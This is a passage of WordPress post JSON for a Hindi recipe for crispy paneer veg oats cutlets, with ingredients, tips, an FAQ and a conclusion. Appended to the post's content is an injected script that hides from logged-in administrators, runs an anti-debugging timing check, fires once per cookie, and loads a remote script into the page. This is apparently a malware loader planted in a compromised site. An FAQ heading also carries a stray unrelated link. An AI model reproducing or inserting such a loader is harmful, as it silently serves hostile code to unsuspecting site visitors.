class=\"wp-block-list\">\n<li>\u0938\u094d\u0935\u093e\u0926 \u092e\u0947\u0902 \u0917\u0939\u0930\u093e\u0908<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0915\u0940 \u092e\u0938\u093e\u0932\u0947\u0926\u093e\u0930 \u0916\u0941\u0936\u092c\u0942<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u0928\u0940\u0902\u092c\u0942 \u0915\u093e \u0930\u0938 \u2013 1 \u091b\u094b\u091f\u093e \u091a\u092e\u094d\u092e\u091a (\u0911\u092a\u094d\u0936\u0928\u0932)<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0939\u0932\u094d\u0915\u0940 \u0916\u091f\u093e\u0938<\/li>\n\n\n\n<li>\u0938\u094d\u0935\u093e\u0926 \u0915\u094b \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u0915\u0930\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"> \u0924\u0947\u0932 \u2013 1\u20132 \u092c\u0921\u093c\u0947 \u091a\u092e\u094d\u092e\u091a (\u0936\u0948\u0932\u094b \u092b\u094d\u0930\u093e\u0908 \u0915\u0947 \u0932\u093f\u090f)<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0938\u0930\u0938\u094b\u0902 \u092f\u093e \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0924\u0947\u0932<\/li>\n\n\n\n<li>\u0915\u092e \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0909\u092a\u092f\u094b\u0917 \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u0939\u0947\u0932\u094d\u0926\u0940 \u0911\u092a\u094d\u0936\u0928: \u0911\u0932\u093f\u0935 \u0911\u092f\u0932 \u092f\u093e \u090f\u092f\u0930 \u092b\u094d\u0930\u093e\u092f\u0930<\/p>\n<\/blockquote>\n\n\n\n<div class=\"wp-block-cover\"><img decoding=\"async\" width=\"1024\" height=\"630\" class=\"wp-block-cover__image-background wp-image-758\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/n7j4k6v_tikki_625x300_28_June_23-1-1024x630.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/n7j4k6v_tikki_625x300_28_June_23-1-1024x630.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/n7j4k6v_tikki_625x300_28_June_23-1-300x185.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/n7j4k6v_tikki_625x300_28_June_23-1-768x472.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/n7j4k6v_tikki_625x300_28_June_23-1-18x12.jpg 18w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/n7j4k6v_tikki_625x300_28_June_23-1.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\"><img decoding=\"async\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/n7j4k6v_tikki_625x300_28_June_23-1024x630.jpg\" alt=\"crispy-paneer-veg-oats-cutlet-recipe\"> <strong><em>crispy-paneer-veg-oats-cutlet-recipe<\/em><\/strong><\/p>\n<\/div><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u092e\u093e\u0924\u094d\u0930\u093e \u0938\u093e\u0930\u093e\u0902\u0936 (Quick View Table Format)<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u0938\u093e\u092e\u0917\u094d\u0930\u0940<\/th><th>\u092e\u093e\u0924\u094d\u0930\u093e<\/th><\/tr><\/thead><tbody><tr><td>\u0913\u091f\u094d\u0938<\/td><td>1 \u0915\u092a<\/td><\/tr><tr><td>\u092a\u0928\u0940\u0930<\/td><td>1 \u0915\u092a<\/td><\/tr><tr><td>\u0909\u092c\u0932\u093e \u0906\u0932\u0942<\/td><td>1<\/td><\/tr><tr><td>\u0917\u093e\u091c\u0930<\/td><td>\u00bc \u0915\u092a<\/td><\/tr><tr><td>\u0936\u093f\u092e\u0932\u093e \u092e\u093f\u0930\u094d\u091a<\/td><td>\u00bc \u0915\u092a<\/td><\/tr><tr><td>\u092e\u091f\u0930<\/td><td>2\u20133 \u091a\u092e\u094d\u092e\u091a<\/td><\/tr><tr><td>\u092e\u0938\u093e\u0932\u0947<\/td><td>\u0938\u094d\u0935\u093e\u0926\u093e\u0928\u0941\u0938\u093e\u0930<\/td><\/tr><tr><td>\u0924\u0947\u0932<\/td><td>1\u20132 \u091a\u092e\u094d\u092e\u091a<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u090f\u0915\u094d\u0938\u092a\u0930\u094d\u091f \u091f\u093f\u092a\u094d\u0938 (Perfect Texture \u0915\u0947 \u0932\u093f\u090f)<\/h3>\n\n\n\n<p> \u092e\u093f\u0936\u094d\u0930\u0923 \u091c\u094d\u092f\u093e\u0926\u093e \u0917\u0940\u0932\u093e \u0928 \u0939\u094b<br> \u0913\u091f\u094d\u0938 \u092a\u093e\u0909\u0921\u0930 \u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u092e\u093f\u0932\u093e\u090f\u0902<br> \u091c\u094d\u092f\u093e\u0926\u093e \u0906\u0932\u0942 \u0938\u0947 \u0915\u091f\u0932\u0947\u091f \u0938\u0949\u092b\u094d\u091f \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948<br> \u0936\u0947\u092a \u0926\u0947\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947 10 \u092e\u093f\u0928\u091f \u092b\u094d\u0930\u093f\u091c \u092e\u0947\u0902 \u0930\u0916\u0947\u0902<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">FAQ \u2013 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">Q1. \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u0948\u0938\u0947 \u092c\u0928\u093e\u090f\u0902?<\/h4>\n\n\n\n<p><strong>\u0909\u0924\u094d\u0924\u0930:<\/strong><br>\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u0928\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0938\u092c\u0938\u0947 \u092a\u0939\u0932\u0947 \u0913\u091f\u094d\u0938 \u0915\u094b \u0939\u0932\u094d\u0915\u093e \u092d\u0942\u0928\u0915\u0930 \u092a\u093e\u0909\u0921\u0930 \u092c\u0928\u093e \u0932\u0947\u0902\u0964 \u092b\u093f\u0930 \u0915\u0926\u094d\u0926\u0942\u0915\u0938 \u0915\u093f\u092f\u093e \u0939\u0941\u0906 \u092a\u0928\u0940\u0930, \u0909\u092c\u0932\u093e \u0906\u0932\u0942, \u092c\u093e\u0930\u0940\u0915 \u0915\u091f\u0940 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u0914\u0930 \u092e\u0938\u093e\u0932\u0947 \u092e\u093f\u0932\u093e\u090f\u0902\u0964 \u092e\u093f\u0936\u094d\u0930\u0923 \u0938\u0947 \u0915\u091f\u0932\u0947\u091f \u0936\u0947\u092a \u0926\u0947\u0902 \u0914\u0930 \u0924\u0935\u0947 \u092a\u0930 \u0915\u092e \u0924\u0947\u0932 \u092e\u0947\u0902 \u0938\u0941\u0928\u0939\u0930\u093e \u0914\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0939\u094b\u0928\u0947 \u0924\u0915 \u092a\u0915\u093e\u090f\u0902\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q2. \u0915\u094d\u092f\u093e \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u0940 \u0939\u0948?<\/h4>\n\n\n\n<p><strong>\u0909\u0924\u094d\u0924\u0930:<\/strong><br>\u0939\u093e\u0901, \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0939\u093e\u0908 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0914\u0930 \u0939\u093e\u0908 \u092b\u093e\u0907\u092c\u0930 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0915\u092e \u0924\u0947\u0932 \u092e\u0947\u0902 \u092c\u0928\u093e\u0928\u0947 \u092a\u0930 \u092f\u0939 weight loss friendly snack \u092c\u0928 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964 \u0913\u091f\u094d\u0938 \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u092a\u0947\u091f \u092d\u0930\u093e \u0930\u0916\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u092a\u0928\u0940\u0930 \u092e\u0938\u0932\u094d\u0938 \u0915\u094b \u0938\u092a\u094b\u0930\u094d\u091f \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q3. \u0915\u094d\u092f\u093e \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u091f\u093f\u092b\u093f\u0928 \u0915\u0947 \u0932\u093f\u090f \u0938\u0939\u0940 \u0939\u0948?<\/h4>\n\n\n\n<p><strong>\u0909\u0924\u094d\u0924\u0930:<\/strong><br>\u092c\u093f\u0932\u094d\u0915\u0941\u0932\u0964 \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u091f\u0947\u0938\u094d\u091f\u0940 \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964 \u0907\u0938\u092e\u0947\u0902 \u092a\u0928\u0940\u0930 \u0938\u0947 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0914\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0938\u0947 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u092e\u093f\u0932\u0924\u0947 \u0939\u0948\u0902, \u091c\u093f\u0938\u0938\u0947 \u092f\u0939 \u090f\u0915 perfect kids tiffin healthy recipe \u092c\u0928\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q4. \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0915\u094b \u0914\u0930 \u091c\u094d\u092f\u093e\u0926\u093e \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0915\u0948\u0938\u0947 \u092c\u0928\u093e\u090f\u0902?<a href=\"http:\/\/www.who.com\" target=\"_blank\" rel=\"noopener\">http:\/\/www.who.com<\/a><\/h4>\n\n\n\n<p><strong>\u0909\u0924\u094d\u0924\u0930:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092e\u093f\u0936\u094d\u0930\u0923 \u091c\u094d\u092f\u093e\u0926\u093e \u0917\u0940\u0932\u093e \u0928 \u0930\u0916\u0947\u0902<\/li>\n\n\n\n<li>\u0913\u091f\u094d\u0938 \u092a\u093e\u0909\u0921\u0930 \u0925\u094b\u0921\u093c\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>\u0915\u091f\u0932\u0947\u091f \u0915\u094b \u0936\u0947\u092a \u0926\u0947\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 10\u201315 \u092e\u093f\u0928\u091f \u092b\u094d\u0930\u093f\u091c \u092e\u0947\u0902 \u0930\u0916\u0947\u0902<\/li>\n\n\n\n<li>\u092e\u0927\u094d\u092f\u092e \u0906\u0902\u091a \u092a\u0930 \u0936\u0948\u0932\u094b \u092b\u094d\u0930\u093e\u0908 \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0928 \u091f\u093f\u092a\u094d\u0938 \u0938\u0947 \u0906\u092a\u0915\u0940 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u093e\u0939\u0930 \u0938\u0947 \u0917\u094b\u0932\u094d\u0921\u0928 \u0914\u0930 \u0905\u0902\u0926\u0930 \u0938\u0947 \u0938\u0949\u092b\u094d\u091f \u092c\u0928\u0947\u0917\u0940\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q5. \u0915\u094d\u092f\u093e \u0907\u0938 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u094b \u090f\u092f\u0930 \u092b\u094d\u0930\u093e\u092f\u0930 \u092e\u0947\u0902 \u092c\u0928\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/h4>\n\n\n\n<p><strong>\u0909\u0924\u094d\u0924\u0930:<\/strong><br>\u0939\u093e\u0901, 180\u00b0C \u092a\u0930 12\u201315 \u092e\u093f\u0928\u091f \u090f\u092f\u0930 \u092b\u094d\u0930\u093e\u092f\u0930 \u092e\u0947\u0902 \u092a\u0915\u093e\u090f\u0902\u0964 \u092c\u0940\u091a \u092e\u0947\u0902 \u090f\u0915 \u092c\u093e\u0930 \u092a\u0932\u091f \u0926\u0947\u0902\u0964 \u092f\u0939 \u0932\u094b \u0911\u092f\u0932 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937 (\u092a\u0930\u093f\u091a\u092f \u0915\u093e \u0935\u093f\u0938\u094d\u0924\u0943\u0924 \u0938\u093e\u0930)<a href=\"https:\/\/simplereceipes.in\/recipes\/\" data-type=\"page\" data-id=\"229\">Recipes<\/a><\/h3>\n\n\n\n<p>\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u0947\u0935\u0932 \u090f\u0915 \u0938\u093e\u0927\u093e\u0930\u0923 \u0938\u094d\u0928\u0948\u0915 \u0928\u0939\u0940\u0902 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u0906\u0927\u0941\u0928\u093f\u0915 \u091c\u0940\u0935\u0928\u0936\u0948\u0932\u0940 \u0915\u0947 \u0905\u0928\u0941\u0930\u0942\u092a \u090f\u0915 \u0938\u0902\u0924\u0941\u0932\u093f\u0924, \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0914\u0930 \u0935\u094d\u092f\u0935\u0939\u093e\u0930\u093f\u0915 \u092d\u094b\u091c\u0928 \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964 \u0906\u091c \u0915\u0947 \u0938\u092e\u092f \u092e\u0947\u0902 \u091c\u092c \u0932\u094b\u0917 \u091c\u0902\u0915 \u092b\u0942\u0921 \u0938\u0947 \u0926\u0942\u0930\u0940 \u092c\u0928\u093e\u0915\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0935\u093f\u0915\u0932\u094d\u092a \u0916\u094b\u091c \u0930\u0939\u0947 \u0939\u0948\u0902, \u0924\u092c \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0938\u094d\u0935\u093e\u0926 \u0914\u0930 \u0938\u0947\u0939\u0924 \u0926\u094b\u0928\u094b\u0902 \u0915\u093e \u092c\u0947\u0939\u0924\u0930\u0940\u0928 \u0938\u0902\u092f\u094b\u091c\u0928 \u092a\u094d\u0930\u0938\u094d\u0924\u0941\u0924 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092a\u0930\u093f\u091a\u092f \u092e\u0947\u0902 \u0939\u092e\u0928\u0947 \u0926\u0947\u0916\u093e \u0915\u093f \u092c\u0926\u0932\u0924\u0940 \u0932\u093e\u0907\u092b\u0938\u094d\u091f\u093e\u0907\u0932, \u092c\u0922\u093c\u0924\u0940 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u091c\u093e\u0917\u0930\u0942\u0915\u0924\u093e \u0914\u0930 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u092a\u094b\u0937\u0923 \u0915\u0940 \u091a\u093f\u0902\u0924\u093e \u0928\u0947 \u0918\u0930 \u0915\u0947 \u092c\u0928\u0947 \u0939\u0947\u0932\u094d\u0926\u0940 \u0938\u094d\u0928\u0948\u0915\u094d\u0938 \u0915\u0940 \u092e\u093e\u0902\u0917 \u092c\u0922\u093c\u093e \u0926\u0940 \u0939\u0948\u0964 \u0910\u0938\u0947 \u092e\u0947\u0902 \u092a\u0928\u0940\u0930 \u0914\u0930 \u0913\u091f\u094d\u0938 \u091c\u0948\u0938\u0947 \u0926\u094b \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0924\u0924\u094d\u0935\u094b\u0902 \u0915\u093e \u092e\u0947\u0932 \u0907\u0938 \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u094b \u0916\u093e\u0938 \u092c\u0928\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u0947\u0939\u0924 \u0914\u0930 \u0938\u094d\u0935\u093e\u0926 \u0915\u093e \u0938\u0902\u0924\u0941\u0932\u0928<\/h3>\n\n\n\n<p>\u0907\u0938 \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u093e \u0938\u092c\u0938\u0947 \u092c\u0921\u093c\u093e \u0932\u093e\u092d \u092f\u0939 \u0939\u0948 \u0915\u093f \u0907\u0938\u092e\u0947\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u0928\u0940\u0930 \u0938\u0947 \u0909\u091a\u094d\u091a \u0917\u0941\u0923\u0935\u0924\u094d\u0924\u093e \u0915\u093e \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0914\u0930 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u092e\u093f\u0932\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u0913\u091f\u094d\u0938 \u0938\u0947 \u092b\u093e\u0907\u092c\u0930 \u0914\u0930 \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u090a\u0930\u094d\u091c\u093e \u092e\u093f\u0932\u0924\u0940 \u0939\u0948<\/li>\n\n\n\n<li>\u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0938\u0947 \u0906\u0935\u0936\u094d\u092f\u0915 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0914\u0930 \u092e\u093f\u0928\u0930\u0932\u094d\u0938 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0938 \u0924\u0930\u0939 \u092f\u0939 \u090f\u0915 \u201cbalanced vegetarian snack\u201d \u092c\u0928 \u091c\u093e\u0924\u093e \u0939\u0948, \u091c\u094b \u0936\u0930\u0940\u0930 \u0915\u094b \u092a\u094b\u0937\u0923 \u0926\u0947\u0928\u0947 \u0915\u0947 \u0938\u093e\u0925-\u0938\u093e\u0925 \u0938\u094d\u0935\u093e\u0926 \u0915\u0940 \u092d\u0940 \u092a\u0942\u0930\u094d\u0924\u093f \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f: \u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902 \u0915\u0940 \u092e\u091c\u092c\u0942\u0924\u0940 \u0914\u0930 \u092c\u0947\u0939\u0924\u0930 \u0935\u093f\u0915\u093e\u0938<\/li>\n\n\n\n<li>\u0915\u093e\u092e\u0915\u093e\u091c\u0940 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f: \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u090a\u0930\u094d\u091c\u093e<\/li>\n\n\n\n<li>\u092b\u093f\u091f\u0928\u0947\u0938 \u092a\u094d\u0930\u0947\u092e\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f: \u092e\u0938\u0932 \u0930\u093f\u0915\u0935\u0930\u0940 \u0914\u0930 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0938\u092a\u094b\u0930\u094d\u091f<\/li>\n\n\n\n<li>\u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0935\u093e\u0932\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f: \u0915\u092e \u0924\u0947\u0932 \u0914\u0930 \u0939\u093e\u0908 \u092b\u093e\u0907\u092c\u0930 \u0935\u093f\u0915\u0932\u094d\u092a<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0939 \u092c\u0939\u0941\u0909\u092a\u092f\u094b\u0917\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u0939\u0930 \u0909\u092e\u094d\u0930 \u0914\u0930 \u091c\u0930\u0942\u0930\u0924 \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930 \u0916\u0941\u0926 \u0915\u094b \u0922\u093e\u0932 \u0932\u0947\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0939\u0947\u0932\u094d\u0926\u0940 \u0932\u093e\u0907\u092b\u0938\u094d\u091f\u093e\u0907\u0932 \u0915\u0940 \u0913\u0930 \u090f\u0915 \u0915\u0926\u092e<\/h3>\n\n\n\n<p>\u0906\u091c \u0915\u0947 \u0926\u094c\u0930 \u092e\u0947\u0902 \u091c\u0939\u093e\u0902 \u092a\u094d\u0930\u094b\u0938\u0947\u0938\u094d\u0921 \u0914\u0930 \u0924\u0932\u0947 \u0939\u0941\u090f \u0938\u094d\u0928\u0948\u0915\u094d\u0938 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u0909\u092a\u0932\u092c\u094d\u0927 \u0939\u0948\u0902, \u0935\u0939\u0940\u0902 \u0918\u0930 \u092a\u0930 \u092c\u0928\u093e \u0939\u0947\u0932\u094d\u0926\u0940 \u0935\u093f\u0915\u0932\u094d\u092a \u0905\u092a\u0928\u093e\u0928\u093e \u090f\u0915 \u0938\u092e\u091d\u0926\u093e\u0930\u0940 \u092d\u0930\u093e \u0928\u093f\u0930\u094d\u0923\u092f \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092a\u0928\u0940\u0930 \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0921\u0940\u092a \u092b\u094d\u0930\u093e\u0908 \u0915\u0940 \u091c\u0917\u0939 \u0936\u0948\u0932\u094b \u092b\u094d\u0930\u093e\u0908 \u092f\u093e \u090f\u092f\u0930 \u092b\u094d\u0930\u093e\u0908 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948<\/li>\n\n\n\n<li>\u092c\u094d\u0930\u0947\u0921 \u0915\u094d\u0930\u092e\u094d\u092c\u094d\u0938 \u0915\u0940 \u091c\u0917\u0939 \u0913\u091f\u094d\u0938 \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u0930\u0924\u0940 \u0939\u0948<\/li>\n\n\n\n<li>\u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0914\u0930 \u092b\u093e\u0907\u092c\u0930 \u0915\u093e \u0938\u0902\u0924\u0941\u0932\u0928 \u092c\u0928\u093e\u090f \u0930\u0916\u0924\u0940 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0938 \u092a\u094d\u0930\u0915\u093e\u0930 \u092f\u0939\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u201chealthy evening snack\u201d \u092f\u093e \u201cprotein rich vegetarian snack\u201d \u0915\u0940 \u0936\u094d\u0930\u0947\u0923\u0940 \u092e\u0947\u0902 \u090f\u0915 \u092e\u091c\u092c\u0942\u0924 \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u090f\u0915 \u0939\u0947\u0932\u094d\u0926\u0940, \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0914\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0938\u094d\u0928\u0948\u0915 \u0939\u0948\u0964 \u091c\u093e\u0928\u093f\u090f 11 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u0918\u0930 \u092a\u0930 \u092c\u0928\u093e\u090f\u0902 \u092c\u091a\u094d\u091a\u094b\u0902 \u0914\u0930 \u092c\u0921\u093c\u094b\u0902 \u0915\u0940 \u092b\u0947\u0935\u0930\u0947\u091f \u092a\u0928\u0940\u0930 \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f, \u091c\u094b \u0935\u0947\u091f \u0932\u0949\u0938 \u0914\u0930 \u091f\u093f\u092b\u093f\u0928 \u0915\u0947 \u0932\u093f\u090f \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0939\u0948\u0964 \u092a\u0930\u093f\u091a\u092f \u0906\u091c \u0915\u0940 \u0924\u0947\u091c\u093c \u0930\u092b\u094d\u0924\u093e\u0930 \u091c\u093f\u0902\u0926\u0917\u0940 \u092e\u0947\u0902 \u0939\u0930 \u0915\u094b\u0908 \u0910\u0938\u093e \u0928\u093e\u0936\u094d\u0924\u093e \u0914\u0930 \u0938\u094d\u0928\u0948\u0915 \u091a\u093e\u0939\u0924\u093e \u0939\u0948 \u091c\u094b &#8230; <a title=\"11 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u0939\u0947\u0932\u094d\u0926\u0940, \u091f\u0947\u0938\u094d\u091f\u0940 \u0914\u0930 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0940 \u0938\u0941\u092a\u0930\u092b\u0947\u0935\u0930\u0947\u091f\" class=\"read-more\" 